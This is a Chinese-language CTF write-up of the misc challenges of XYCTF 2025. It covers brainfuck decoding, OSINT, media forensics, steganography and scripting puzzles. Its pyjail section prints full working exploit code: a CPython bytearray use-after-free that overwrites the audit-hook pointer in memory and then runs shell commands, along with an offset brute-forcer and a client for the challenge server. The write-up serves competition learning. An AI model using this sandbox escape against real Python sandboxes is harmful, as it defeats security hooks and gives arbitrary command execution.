XYCTF 2025 - Misc - WriteUp
碎碎念
第一次参加XYCTF,又是收获满满的一次比赛啊,感谢出题师傅们的手下留情,这次体验感真的非常好,跌跌撞撞地把misc给打完了,其中那道Lament Jail
真的是目前来说我的生涯巅峰了,通宵了一晚上,早上八点多顺利给它牢出来了(爽到直接pyq)
最后也是在最后两三个小时把shark师傅的流量取证给出了,至此我们队成功达成了misc ak (要是打其他赛也能出这么多题就好了
这次确实是燃尽了,三天下来基本醒来就是做题做题做题吃饭做题做题睡觉做题做题,尽管都做出来了,但还是有很多知识点不熟悉,还有各种没接触过的知识(我们misc是这样的),还是得多沉淀吧,不过下次打题还是悠着点吧)
欢迎各位佬们来交流学习qwq
签个到吧
知识点省流
brainfuck混淆
WP
打开附件显然可知这是个brainfuck编码,但直接发现没有办法运行出结果
用在线网站https://copy.sh/brainfuck/ 看一下它的一个生成代码
把代码丢给ds可以直接分析出flag
XGCTF
知识点省流
OSINT
WP
题目信息如下
2024年CTFshow举办了一场名为“西瓜杯”的比赛(XGCTF)。其中LamentXU在出题的时候,从某场比赛拉了道原题下来改了改,结果传文件的时候传错了传成原题了。因为这件事LamentXU的损友dragonkeep在他之前的博客上的原题wp上加了一段flag来嘲笑LamentXU。请你找到XGCTF中唯一由LamentXU出的题,并找出这题对应的原题,接着找到dragonkeep师傅的博客,并从博客上讲解该题的博文中找到flag。(hint:dragonkeep师傅因为比较穷买不起域名,因此他博客的域名在dragonkeep的基础上多了个字母) (出题人:LamentXU
根据题目要找dragonkeep师傅的博客 已知他和lamentxu师傅是好朋友 直接在la师傅的博客里搜dragonkeep 发现刚好有一条记录
点进去开头就是dragonkeep师傅的博客了
另外,在lamentxu师傅的年终总结里面(为什么我会找这个因为我看过),提到了ciscn的原题
所以在dragonkeep师傅的博客里找到ciscn的文章,然后看源码就能找到flag了
MADer也要当CTFer
知识点省流
MKV文件+AE操作(but过我非预期了)
WP
打开mkv文件,发现下面有字幕,是若干串十六进制字符(用potplayer直接就能看到字幕),而且视频长度有5个多小时,但是能播放的只有十几秒
简单查一下wiki,发现mkv文件可以放字幕,猜测后面还有一大段字幕
用ffmpeg导出字幕文件
得到字幕后,处理一下,把十六进制字符串保留,转为文件,用010打开发现是个什么RIFX文件,没找到是什么文件类型(用file分析是错的)
遂丢给ai,得知是ae项目文件,但是我丢给ae发现文件损坏(甚至下载了25年的新ae),所以另寻出路
与此同时ds还告诉我们里面藏了flag
用notepad打开文件,将内容全部复制到一个新的文档中(这样可以去掉所有的null值变成空格),因为在010里分析文件的时候发现每个字符间都被空格隔开,所以尝试查找f l a g
,发现确实存在,且跟ds给的内容一致,想到定位具体的位置看看内容,遂锁定了前面的/17
然后flag就出来了,把空格删掉就好(我真的是这么做的不是py啊,不信你问shark师傅)
Lament Jail (一血)
知识点省流
pyjail hook内存移除攻击(听lamentxu师傅说并非预期)
WP
异想体编号:H-██████ ;异想体名称:flag;安全等级:优;状态:该异想体已突破收容。描述:该异想体本质上为一段"flag{"开头"}"结尾的字符串。它极度胆怯,害怕人类不同等级的观察。该异想体经常突破收容。他的内容是██████████████████████████;收容条件:flag被收容在一个对公网开放的主机(flag-1,又名Lament Jail)上的/flag文件里。该主机上运行有能够让人们完全控制主机的服务(使用套接字进行远控),便于观测异想体状态;事件经过:事件编号████████████████。████年██月███日,由于工作人员██████████████的失误,flag被赋予高权限。它成功突破了收容。flag目前被观测到改写了人们控制它的服务。在这之上做了一些加密措施,并限制了远程代码的执行。这使得我们极难观测该异想体。同时,它摆脱了文件/flag的限制,逃到了█████████████。所幸,我们在主机上留下了/bin/rf,它可以直接从███████████████读取flag。同时,员工█████████████通过某种手段取回了正在运行的服务的源码。请你连接并突破该异想体在Lament Jail上做的限制,控制这台主机,找回flag。
题目信息有用↑
源码如下,很长很长,可以让大模型帮忙分析一下逻辑,简单地说就是服务端会检测客户端连接时是否有输入密码,密码检测通过后,还需要客户端发送AES公钥与服务端建立加密通信,建立通信后服务端接收数据同样自定义了函数,这部分都可以揉碎了丢个大模型写一个可以成功交互的脚本
# -*- coding:utf-8 -*-
# @FileName :Lament_Jail.py
# @Time :2025/3/22 12:37:43
# @Author :LamentXU
from socket import *
from os import remove
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from zlib import compress, decompress
from uuid import uuid4
from json import dumps
from subprocess import Popen, PIPE
'''
Definate all the errors
'''
class MessageLengthError(Exception):
def __init__(self, message) -> None:
self.message = message
class PasswordError(Exception):
def __init__(self, message) -> None:
self.message = message
class SimpleTCP():
'''
The main class when using TCP
'''
def __init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM
, proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None,
password: bytes = None) -> None:
'''
is_encrypted: use encrypted connection, only for server
AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server
password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed
if password is set in server, every time a client connect, the client must send the same password back to the server to accept.
if password is set in client, every time you connect to the server, the password will be sent to the server to verify.
if password is None, no password will be used.
self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE
MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle
'''
self.BLOCK_SIZE = 16 # block size of padding text which will be encrypted by AES
# the block size must be a mutiple of 8
self.default_encoder = 'utf8' # the default encoder used in send and recv when the message is not bytes
if is_encrypted:
if AES_key == None:
self.key = get_random_bytes(16) # generate 16 bytes AES code
else:
self.key = AES_key # TODO check the input
self.cipher_aes = AES.new(self.key, AES.MODE_ECB)
else:
self.key, self.cipher_aes = None, None
self.default_message_len = 1024 # length of some basic message, it's best not to go below 1024 bytes
if password == None:
self.password = None
else:
self.password = self.turn_to_bytes(password)
if len(password) > 100:
raise ValueError('The password is too long, it must be smaller than 100 bytes')
self.s = socket(family, type, proto, fileno) # main socket
def accept(self) -> tuple:
'''
Accept with information exchange and key exchange, return the address of the client
if the password from client is wrong or not set, raise PasswordError
'''
self.s, address = self.s.accept()
if self.key == None:
is_encrypted = False
else:
is_encrypted = True
if self.password == None:
has_password = False
else:
has_password = True
info_dict = {
'is_encrypted': is_encrypted,
'has_password': has_password}
info_dict = dumps(info_dict).encode(encoding=self.default_encoder)
self.s.send(self.turn_to_bytes(len(info_dict)))
self.s.send(info_dict)
if has_password:
password_length = self.unpadding_packets(self.s.recv(3), -1)
if not password_length:
self.s.close()
raise PasswordError(f'The client {address} does not send the password, the connection will be closed')
recv_password = self.s.recv(int(password_length.decode(
encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes
if recv_password != self.password or recv_password[0] == b'0':
self.s.send(b'0')
self.s.close()
raise PasswordError(
f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting')
else:
self.s.send(b'1')
if is_encrypted:
public_key = self.s.recv(450)
rsa_public_key = RSA.import_key(public_key)
cipher_rsa = PKCS1_OAEP.new(rsa_public_key)
encrypted_aes_key = cipher_rsa.encrypt(self.key)
self.s.send(encrypted_aes_key)
# TODO
return address
def turn_to_bytes(self, message) -> bytes:
'''
Turn str, int, etc. to bytes using {self.default_encoder}
'''
type_of_message = type(message)
if type_of_message == str:
try:
message = message.encode(encoding=self.default_encoder)
except Exception as e:
raise TypeError(
'Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message,
message,
self.default_encoder,
e))
elif type_of_message == bytes:
pass
else:
try:
message = str(message).encode(encoding=self.default_encoder)
except:
raise TypeError(
'Unexpected type "{}" of {}'.format(type_of_message, message))
return message
def unpadding_packets(self, data: bytes, pad_num: int) -> bytes:
'''
Delete the blank bytes at the back of the message
pad_num : number of the blank bytes
pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok)
'''
if pad_num == -1:
data = data.rstrip()
else:
while pad_num > 0 and data[-1:] == b' ':
data = data[:-1]
pad_num -= 1
return data
def padding_packets(self, message: bytes, target_length: int = None) -> tuple:
'''
Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode
The packet must be smaller then {target_length}
target_length = None : use self.default_message_len
'''
message = self.turn_to_bytes(message)
if target_length == None:
target_length = self.default_message_len
if len(message) > target_length:
raise MessageLengthError(
'the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(
str(len(message)), target_length))
pad_num = target_length - len(message)
message += b' ' * pad_num
return (message, pad_num)
def pad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes:
'''
Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
target_length = None : use self.BLOCK_SIZE
'''
padding_length = block_size - (len(data) % block_size)
if padding_length == 0:
padding_length = block_size
padding = bytes([padding_length]) * padding_length
padded_data = data + padding
return padded_data
def send_large(self, message) -> None:
'''
Send message with the socket
can accept bytes, str, int, etc.
every non-bytes message will be encoded with self.default_encoder
Every packet is forced to be filled to {self.default_message_len} bytes
'''
message = self.turn_to_bytes(message)
message = compress(message)
message_list = [message[i:i + self.default_message_len]
for i in range(0, len(message), self.default_message_len)]
message_list_len = len(message_list)
self._send(self.padding_packets(
self.turn_to_bytes(message_list_len))[0])
message_index = 0
for message in message_list:
message_padded = self.padding_packets(message)
message = message_padded[0]
self._send(message)
message_index += 1
if message_index == message_list_len:
pad_num = message_padded[1]
self._send(self.padding_packets(
self.turn_to_bytes(str(pad_num)))[0])
def send(self, message) -> None:
'''
Send a message with the socket
can accept bytes, str, int, etc.
The data should not be larger than 9999 bytes
It can be used at any time
Use self.send_large and recv_large if you want to send a big message
'''
message = self.turn_to_bytes(message)
try:
message_len = self.padding_packets(
self.turn_to_bytes(len(message)), target_length=4)[0]
except MessageLengthError:
raise MessageLengthError(
'The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(
str(len(message))))
self._send(message_len)
self._send(message)
def _send(self, message: bytes) -> None:
'''
The basic method to encrypt and send data
MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE
'''
if self.cipher_aes != None:
output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE))
# plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE)
else:
output_message = message
self.s.send(output_message) # The TCP mode
def recvfile(self) -> bytes:
'''
Only receive file sent using self.send_largefile
'''
output = b''
while True:
a = self.recv_large(is_decode=False)
if a != 'EOF'.encode(encoding=self.default_encoder):
output += a
else:
break
return output
def recv_large(self, is_decode: bool = True):
'''
The return type can be bytes or string
The method to recv message WHICH IS SENT BY self.send_large
is_decode : decode the message with {self.default_encoder}
'''
message_listlen = self._recv(self.default_message_len).decode(
encoding=self.default_encoder).rstrip()
message_listlen = int(message_listlen)
message = b''
for i in range(0, message_listlen):
mes = self._recv(self.default_message_len)
if i == message_listlen - 1:
mes_padnum = int(self._recv(self.default_message_len).decode(
encoding=self.default_encoder))
else:
mes_padnum = 0
mes = self.unpadding_packets(mes, mes_padnum)
message += mes
message = decompress(message)
if is_decode:
message = message.decode(encoding=self.default_encoder)
return message
def _recv(self, length: int) -> bytes:
'''
The basic method to decrypt and recv data
'''
if self.cipher_aes != None:
if length % 16 == 0:
length += 16
length = (length + self.BLOCK_SIZE - 1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16
message = self.s.recv(length)
message = self.cipher_aes.decrypt(message)
message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE)
else:
message = self.s.recv(length)
return message
def unpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes:
'''
Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode
target_length = None : use self.BLOCK_SIZE
'''
if block_size == None:
block_size = self.BLOCK_SIZE
padding = padded_data[-1]
if padding > block_size or any(byte != padding for byte in padded_data[-padding:]):
raise ValueError("Invalid padding")
return padded_data[:-padding]
def main():
Sock = SimpleTCP(password='LetsLament')
Sock.s.bind(('0.0.0.0', 13337))
Sock.s.listen(5)
while True:
_ = Sock.accept()
Sock.send('Hello, THE flag speaking.')
Sock.send('I will not let you to control Lament Jail forever.')
Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.')
Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.')
a = Sock.recvfile().decode()
waf = '''
import sys
def audit_checker(event,args):
if not 'id' in event:
raise RuntimeError
sys.addaudithook(audit_checker)
'''
content = waf + a
name = uuid4().hex + '.py'
with open(name, 'w') as f:
f.write(content)
try:
cmd = ["python3", name]
p = Popen(cmd, stdout=PIPE, stderr=PIPE)
for line in iter(p.stdout.readline, b''):
Sock.send(line.decode('utf-8').strip())
p.wait()
Sock.send('Done, BYE.')
except:
Sock.send('Error.')
finally:
Sock.s.close()
remove(name)
if __name__ == '__main__':
while True:
try:
main()
except:
pass
难点在后面的jail绕过,通过大量的调查,基本可以确定是要进行内存移除攻击(想办法把hook给移除掉),先确认了一下服务端的python版本(建立连接后发送下面的代码)
print("服务端python版本为:"+__import__('sys').version)
通过了解(在谷歌搜一下pyjail audit hook就能找到相关的文章),这题目极大可能是要移除hook(利用python3的uaf漏洞修改内存,覆盖hook函数所指向的值),而本题的一个去除过程跟参考博文中的内容是很像的,多一些调整即可
参考博文:
https://mak4r1.com/write-ups/python3%E7%9A%84uaf%E6%BC%8F%E6%B4%9Exctf-final-pyjail/
https://jbnrz.com.cn/index.php/2024/07/05/xctf-final-jail/
遂开始研究,根据上面的交互确定服务端的python版本后,在本地linux环境搭个一样的环境(最好用linux吧,我用windows试了结果偏移量不对浪费了很多时间),这边用的docker搭建
# Use a base image with Python 3.13.2 and GCC 12.2.0
FROM python:3.13.2
# Install GCC 12.2.0 to match your server's environment
RUN apt-get update && apt-get install -y \
gcc-12 \
g++-12 \
make \
&& update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-12 100 \
&& update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-12 100
# Set the working directory inside the container
WORKDIR /app
# Copy the Python script into the container
COPY your_script.py /app/
COPY test1.py /app/
COPY offset.py /app/
# Set the default command to run your script
CMD ["python", "your_script.py"]
其中test1.py(在最后的mal.py的基础上加上hook检测函数即可)用来测试是否绕过了hook,offset.py是用来爆破偏移量的
在参考的文章中给了一个项目的仓库链接,它实现了通过内存移除攻击抹除audit hook,从而执行任意命令:
https://github.com/Nambers/python-audit_hook_head_finder
根据里面的poc,可以发现不同的python版本,hook的偏移量是不一样的,而它给出的版本中并没有3.13.2,所以我们需要进行爆破,爆破脚本offset.py如下:
import sys
import os
def audit_checker(event, args):
print(f"[audit] {event}, {args}")
if "id" not in event:
raise RuntimeError("audit denied")
else:
print("[*] Passed audit")
sys.addaudithook(audit_checker)
# ========== 利用入口点 ==========
def exploit():
global uaf, memory
# 构造一个特殊类用于伪造执行逻辑
class UAF:
def __index__(self): # 被执行时
global memory
uaf.clear() # 清除原数据
memory = bytearray() # 伪造一块内存用于操作
uaf.extend([0] * 56) # 覆盖原来的结构体
return 1
# 第一步:触发 UAF + 替换内存
uaf = bytearray(56)
uaf[23] = UAF()
# 第二步:伪造地址偏移链
# 从 os.system.__init__ 字符串中提取函数地址
addr_str = str(os.system.__init__)
addr = int(addr_str.split("0x")[-1][:-1], 16)
print(f"[+] Got __init__ addr: {hex(addr)}")
ptr = addr + 24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
print(f"[+] Mid ptr: {hex(ptr)}")
# 初始化偏移值,起始值为0x7fd0
start_offset = 0x8755
max_attempts = 2002 # 设置最大爆破尝试次数
for attempt in range(max_attempts):
# 计算当前尝试的 hook 地址
current_address = start_offset + attempt # 每次增加 1 字节
print(hex(current_address))
print(f"[+] Trying audit_hook address: {hex(current_address)} (Attempt {attempt + 1})")
# 获取内存地址并加上当前偏移
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + current_address # 每次增加 1
print(f"[+] audit_hook_by_py: {hex(audit_hook_by_py)}")
# 第三步:写零覆盖 hook 函数指针
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
# 尝试执行命令,看是否能绕过 audit hook
print("\n[*] Running system command after exploit")
try:
os.system("echo you are win!")
print(f"[+] Successfully bypassed hook at {hex(audit_hook_by_py)}")
pass # 如果成功,就跳出爆破循环
except Exception as e:
print(f"[-] Error occurred: {e}")
# ========== 调用 ==========
exploit()
爆破后其实会发现3.13.2的hook偏移量跟3.13.1的偏移量是一样的(也就是说你不爆破都能做)
然后用检测脚本test1.py检测一下即可:
import sys
def audit_checker(event, args):
print(f"[audit] {event}, {args}")
if "id" not in event:
raise RuntimeError("audit denied")
else:
print("[*] Passed audit")
sys.addaudithook(audit_checker)
# ========== 利用入口点 ==========
import os
def exploit():
global uaf, memory
# 构造一个特殊类用于伪造执行逻辑
class UAF:
def __index__(self): # 被执行时
global memory
uaf.clear() # 清除原数据
memory = bytearray() # 伪造一块内存用于操作
uaf.extend([0] * 56) # 覆盖原来的结构体
return 1
# 第一步:触发 UAF + 替换内存
uaf = bytearray(56)
uaf[23] = UAF()
# 第二步:伪造地址偏移链
# 从 os.system.__init__ 字符串中提取函数地址
addr_str = str(os.system.__init__)
addr = int(addr_str.split("0x")[-1][:-1], 16)
print(f"[+] Got __init__ addr: {hex(addr)}")
ptr = addr + 24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
print(f"[+] Mid ptr: {hex(ptr)}")
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x7fd0
print(f"[+] audit_hook address: {hex(audit_hook_by_py)}")
print(hex(id(audit_checker('id',1))))
# 第三步:写零覆盖 hook 函数指针
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
# print(f"[+] Value at audit_hook_by_py: {int.from_bytes(memory[audit_hook_by_py:audit_hook_by_py+8], 'little')}")
print("[+] audit_hook overwritten!")
# ========== 调用 ==========
exploit()
# ========== 测试是否 hook 被禁用 ==========
print("\n[*] Running system command after exploit")
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(108)+chr(115)+chr(39)+chr(41))
测试成功后,因为这类攻击不同于一般的pyjail,它相当于直接把限制移除了,所以我们可以执行任意指令,直接构造最简单的指令即可
然后题目中又提到了我们可以在/bin/rf中找到flag,那么直接执行rf即可
__import__('os').system('rf')
最后的代码一共是有两部分脚本:一部分做交互的nc.py 一部分用来绕过检测的mal.py
nc.py
import socket
import json
import zlib
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES, PKCS1_OAEP
def pad(data, block_size=16):
padding_length = block_size - (len(data) % block_size)
if padding_length == 0:
padding_length = block_size
return data + bytes([padding_length] * padding_length)
def unpad(data):
padding_length = data[-1]
return data[:-padding_length]
def padding_packets(message: bytes, target_length=1024) -> (bytes, int):
"""
将消息填充到 target_length 字节,返回填充后的消息和填充字节数
"""
if len(message) > target_length:
raise Exception("Message too long to pad")
pad_num = target_length - len(message)
return message + b' ' * pad_num, pad_num
def pad_to_multiple(data: bytes, block_size=16) -> bytes:
padding_length = block_size - (len(data) % block_size)
if padding_length == 0:
padding_length = block_size
return data + bytes([padding_length] * padding_length)
def _send(message: bytes, sock: socket.socket, cipher: AES = None):
"""
如果启用加密,则先填充到16字节倍数并加密,再发送
"""
if cipher:
message_enc = cipher.encrypt(pad_to_multiple(message, 16))
sock.sendall(message_enc)
else:
sock.sendall(message)
def send_largefile(filename: str, sock: socket.socket, cipher: AES = None):
"""
读取文件内容,压缩后按照协议格式发送:
1. 发送头部:压缩后数据的分块数(填充至1024字节)
2. 依次发送每块数据(填充至1024字节)
3. 最后发送最后一块数据的填充字节数(填充至1024字节)
"""
default_message_len = 1024
with open(filename, 'rb') as f:
file_data = f.read()
compressed = zlib.compress(file_data)
# 分块,每块默认1024字节
chunks = [compressed[i:i + default_message_len] for i in range(0, len(compressed), default_message_len)]
num_chunks = len(chunks)
# 发送头部:分块数量
header, _ = padding_packets(str(num_chunks).encode(), target_length=default_message_len)
_send(header, sock, cipher)
# 发送各块数据
for i, chunk in enumerate(chunks):
padded_chunk, pad_num = padding_packets(chunk, target_length=default_message_len)
_send(padded_chunk, sock, cipher)
# 对最后一块,额外发送填充信息
if i == num_chunks - 1:
pad_info, _ = padding_packets(str(pad_num).encode(), target_length=default_message_len)
_send(pad_info, sock, cipher)
def send_large_message(message: str, sock: socket.socket, cipher: AES = None):
"""
将任意消息(例如 "EOF")按 send_largefile 的协议格式发送出去
"""
default_message_len = 1024
message_bytes = message.encode()
compressed = zlib.compress(message_bytes)
chunks = [compressed[i:i + default_message_len] for i in range(0, len(compressed), default_message_len)]
num_chunks = len(chunks)
header, _ = padding_packets(str(num_chunks).encode(), target_length=default_message_len)
_send(header, sock, cipher)
for i, chunk in enumerate(chunks):
padded_chunk, pad_num = padding_packets(chunk, target_length=default_message_len)
_send(padded_chunk, sock, cipher)
if i == num_chunks - 1:
pad_info, _ = padding_packets(str(pad_num).encode(), target_length=default_message_len)
_send(pad_info, sock, cipher)
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('47.94.15.198', 26712))
# 接收服务端配置信息
info_len = int(s.recv(3).decode().strip())
info_dict = json.loads(s.recv(info_len).decode())
has_password = info_dict.get('has_password', False)
is_encrypted = info_dict.get('is_encrypted', False)
# 发送密码验证
password = b'LetsLament'
if has_password:
s.send(f"{len(password):03}".encode())
s.send(password)
ack = s.recv(1)
if ack != b'1':
print("Wrong password")
s.close()
return
else:
print("Right password!!!!")
# 加密设置(如果服务端启用加密)
if is_encrypted:
key = RSA.generate(2048)
public_key = key.publickey().export_key()
s.send(public_key)
encrypted_aes_key = s.recv(256)
cipher_rsa = PKCS1_OAEP.new(key)
aes_key = cipher_rsa.decrypt(encrypted_aes_key)
cipher = AES.new(aes_key, AES.MODE_ECB)
else:
cipher = None
def decrypt(data):
if cipher:
if len(data) % 16 != 0:
data = pad(data)
decrypted = cipher.decrypt(data)
return unpad(decrypted)
return data
# 接收前四条服务端消息
for _ in range(4):
len_bytes = s.recv(16)
if cipher:
len_bytes = decrypt(len_bytes)
msg_len = int(len_bytes[:4].decode().strip())
msg = s.recv(((msg_len + 15) // 16) * 16)
if cipher:
msg = decrypt(msg)
print("Server message:", msg.decode())
while True:
# 发送文件数据
send_largefile('mal.py', s, cipher)
# 发送额外的 "EOF" 标志,告知服务端文件发送完毕
send_large_message("EOF", s, cipher)
i = 0
# 接收服务端返回的执行结果
while True:
data = s.recv(1024)
if not data:
break
if cipher:
data = decrypt(data)
print("Output:", data.decode('utf-8', errors='ignore'))
print("Output:", data.decode())
s.close()
if __name__ == "__main__":
main()
mal.py
import os
def exploit():
global uaf, memory
# 构造一个特殊类用于伪造执行逻辑
class UAF:
def __index__(self): # 被执行时
global memory
uaf.clear() # 清除原数据
memory = bytearray() # 伪造一块内存用于操作
uaf.extend([0] * 56) # 覆盖原来的结构体
return 1
# 第一步:触发 UAF + 替换内存
uaf = bytearray(56)
uaf[23] = UAF()
# 第二步:伪造地址偏移链
# 从 os.system.__init__ 字符串中提取函数地址
addr_str = str(os.system.__init__)
addr = int(addr_str.split("0x")[-1][:-1], 16)
print(f"[+] Got __init__ addr: {hex(addr)}")
ptr = addr + 24
ptr = int.from_bytes(memory[ptr:ptr + 8], 'little') + 48
print(f"[+] Mid ptr: {hex(ptr)}")
audit_hook_by_py = int.from_bytes(memory[ptr:ptr + 8], 'little') + 0x7fd0 #python3.13.2和3.12.1的偏移量是0x7fd0
print(f"[+] audit_hook address: {hex(audit_hook_by_py)}")
# 第三步:写零覆盖 hook 函数指针
memory[audit_hook_by_py:audit_hook_by_py + 8] = [0] * 8
print(f"[+] Value at audit_hook_by_py: {int.from_bytes(memory[audit_hook_by_py:audit_hook_by_py+8], 'little')}")
print("[+] audit_hook overwritten!")
# ========== 调用 ==========
exploit()
# ========== 测试是否 hook 被禁用 ==========
print("\n[*] Running system command after exploit")
__import__('os').system('rf')
# print('------------------------------\n')
# __import__('os').system('cat /bin/rf')
会飞的雷克萨斯
知识点省流
OSINT
WP
看到题目描述,就大概知道是什么事情了(因为这个事当时还挺大的),甚至不用看图片,直接在google搜关键词,就能直接锁定到哪条路了
接着再来看看图片,看到有一个叫小东十七的店,直接在高德锁定一下
到这要素就齐全了,最后根据出题人给的格式
确定地点就是四川内江市资中县水南镇春岚北路中铁城市中心内
(有点抽象的当时找对了交半天都说错误,还以为是停车场呢)
曼波曼波曼波
知识点省流
各类知识点的套娃,包括但不限于双图盲水印,base64,文件数据隐写
WP
得到一个二维码里面是fake flag
文档里的数据一眼倒转的base,搞个翻转脚本
# 读取 txt 文件并翻转内容
def reverse_txt_file(input_path, output_path=None):
with open(input_path, 'r', encoding='utf-8') as file:
content = file.read() # 读取整个文件内容
reversed_content = content[::-1] # 字符级翻转
# 如果提供了输出路径,则写入文件;否则直接返回翻转结果
if output_path:
with open(output_path, 'w', encoding='utf-8') as file:
file.write(reversed_content)
else:
return reversed_content
# 示例用法
input_file = 'smn.txt'
output_file = 'reversed_example.txt'
reverse_txt_file(input_file, output_file)
然后丢给厨子得到一张jpg,用010打开末尾一个压缩包,打开解压,一张图片一个文档一个压缩包,文档里提示了压缩包密码是XYCTF2025
,解压得到另一张图片,双图盲水印(我说实话水印是真的难看)
Greedymen
知识点省流
贪心算法 脚本小子
WP
服务端回显如下: 实际上是考贪心算法
There are 3 levels, level 1/2/3 has number 1 to 50/100/200 on board to choose from
Each number you choose, you get the corresponding points
However, your opponent will choose all the factors of the number you choose, and get the points of each factor
You can not choose numbers that are already assigned to a player
You are only allow to choose the number if it has at least one factor not choosen
If you can't choose anymore, the rest of the board goes to your opponent
To make the challenge harder, there is a counter that starts with 19/37/76 in level 1/2/3, each time you choose a number, the counter decreases by 1
When it reaches 0, and the game will end, and the unassigned numbers will go to your opponent
The challenge is always solvable
Player with highest score wins
让牢g(gpt)写个脚本就好了,你甚至可以只让脚本写出提交的数字顺序,然后你自己nc交互一个一个提交)
import socket
import re
import time
HOST = "xxx"
PORT = xxx
def immediate_score(m, board):
"""
计算选择数字 m 后的即时收益:
- 自己获得 m 分
- 对手获得 m 的所有未选因子(小于 m 且整除 m)
返回 (净收益, 因子列表)
"""
factors = [f for f in board if f != m and (m % f == 0)]
net = m - sum(factors)
return net, factors
def valid_choice(m, board):
"""
判断 m 是否可以选:
m 至少有一个因子(小于 m 且整除 m)仍在棋盘上
"""
for f in board:
if f != m and (m % f == 0):
return True
return False
def choose_best_number(board):
"""
在当前棋盘中,遍历所有合法数字,选择即时收益最大的数字
"""
best_net = -float('inf')
best_move = None
for m in board:
if not valid_choice(m, board):
continue
net, factors = immediate_score(m, board)
penalty = len(factors) * 2 # 惩罚因子数量
score = net - penalty
if score > best_net:
best_net = score
best_move = m
return best_move
def parse_numbers(line):
"""
解析服务器返回的数字列表字符串,如 "[1, 2, 3, ...]",返回整数列表
"""
match = re.search(r'\[(.*?)\]', line)
if match:
return list(map(int, match.group(1).split(',')))
return []
def main():
s = socket.create_connection((HOST, PORT))
f = s.makefile('rw', buffering=1, encoding='utf-8')
logs = [] # 收集所有接收的内容
your_score_count = 0 # 记录出现 "Your Score:" 的次数
def wait_for(keyword):
while True:
line = f.readline()
if not line:
print("连接断开")
exit()
logs.append(line.strip())
print("[DEBUG]", repr(line.strip()))
if keyword in line:
break
# 进入主菜单并选择 Play
wait_for("1.Play")
f.write("1\n")
logs.append("已发送 1,进入游戏")
print("[INFO] 已进入游戏")
board = []
counter = 0
game_over = False
awaiting_update = False # 控制是否允许继续选择
while True:
try:
line = f.readline()
if not line:
print("连接关闭")
break
clean_line = line.strip()
logs.append(clean_line)
print("[RECV]", clean_line)
if "Counter:" in clean_line:
try:
counter = int(clean_line.split(":")[1].strip())
if counter == 0:
print("[INFO] 检测到计数器为 0,游戏结束")
game_over = True
except Exception:
counter = None
if clean_line in ["1.Play", "2.Rules", "3.Quit"]:
print("[INFO] 检测到主菜单提示,游戏结束")
game_over = True
if any(x in clean_line.lower() for x in ["wins", "lost", "draw", "game over"]):
print("[INFO] 检测到游戏结束提示")
game_over = True
if "Unassigned Numbers:" in clean_line:
board = parse_numbers(clean_line)
awaiting_update = True
if awaiting_update and board and counter is not None and counter > 0:
move = choose_best_number(board)
if move is not None:
print(f"[ACTION] 选择数字: {move}")
f.write(f"{move}\n")
logs.append(f"发送数字: {move}")
awaiting_update = False
time.sleep(0.3)
else:
print("[WARN] 无合法选择,退出")
break
if game_over:
print("[INFO] 游戏结束,开始读取剩余数据(包括 flag):")
s.settimeout(2)
while True:
try:
data = s.recv(1024)
if not data:
break
output = data.decode()
print(output, end='')
except socket.timeout:
break
break
except Exception as e:
print(f"[ERROR] {e}")
break
if __name__ == "__main__":
main()
sins
知识点省流
lambda表达式,python语法
WP
源码如下:限制了表达式长度和字符,需要通过检测才能获得flag,每一轮的表达式的值都要与i_pow的值一样
from secret import flag
print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost')
print('But here we have four cases bearing witness')
def i_pow(n):
if n % 4 == 0: # as the 40 days of flood
return '1'
elif n % 4 == 1: # as the 1 true God
return 'i'
elif n % 4 == 2: # as the 2 tablets of stone
return '-1'
elif n % 4 == 3: # as the 3 days in the tomb
return '-i'
inp = input("wash away your sins: ")
assert all(i in "i0123456789+-*%/^=<>~&|:()[]'" for i in inp), "invalid char"
assert len(inp) < 16, "too long"
R = eval(f"lambda i: {inp}", {}, {})
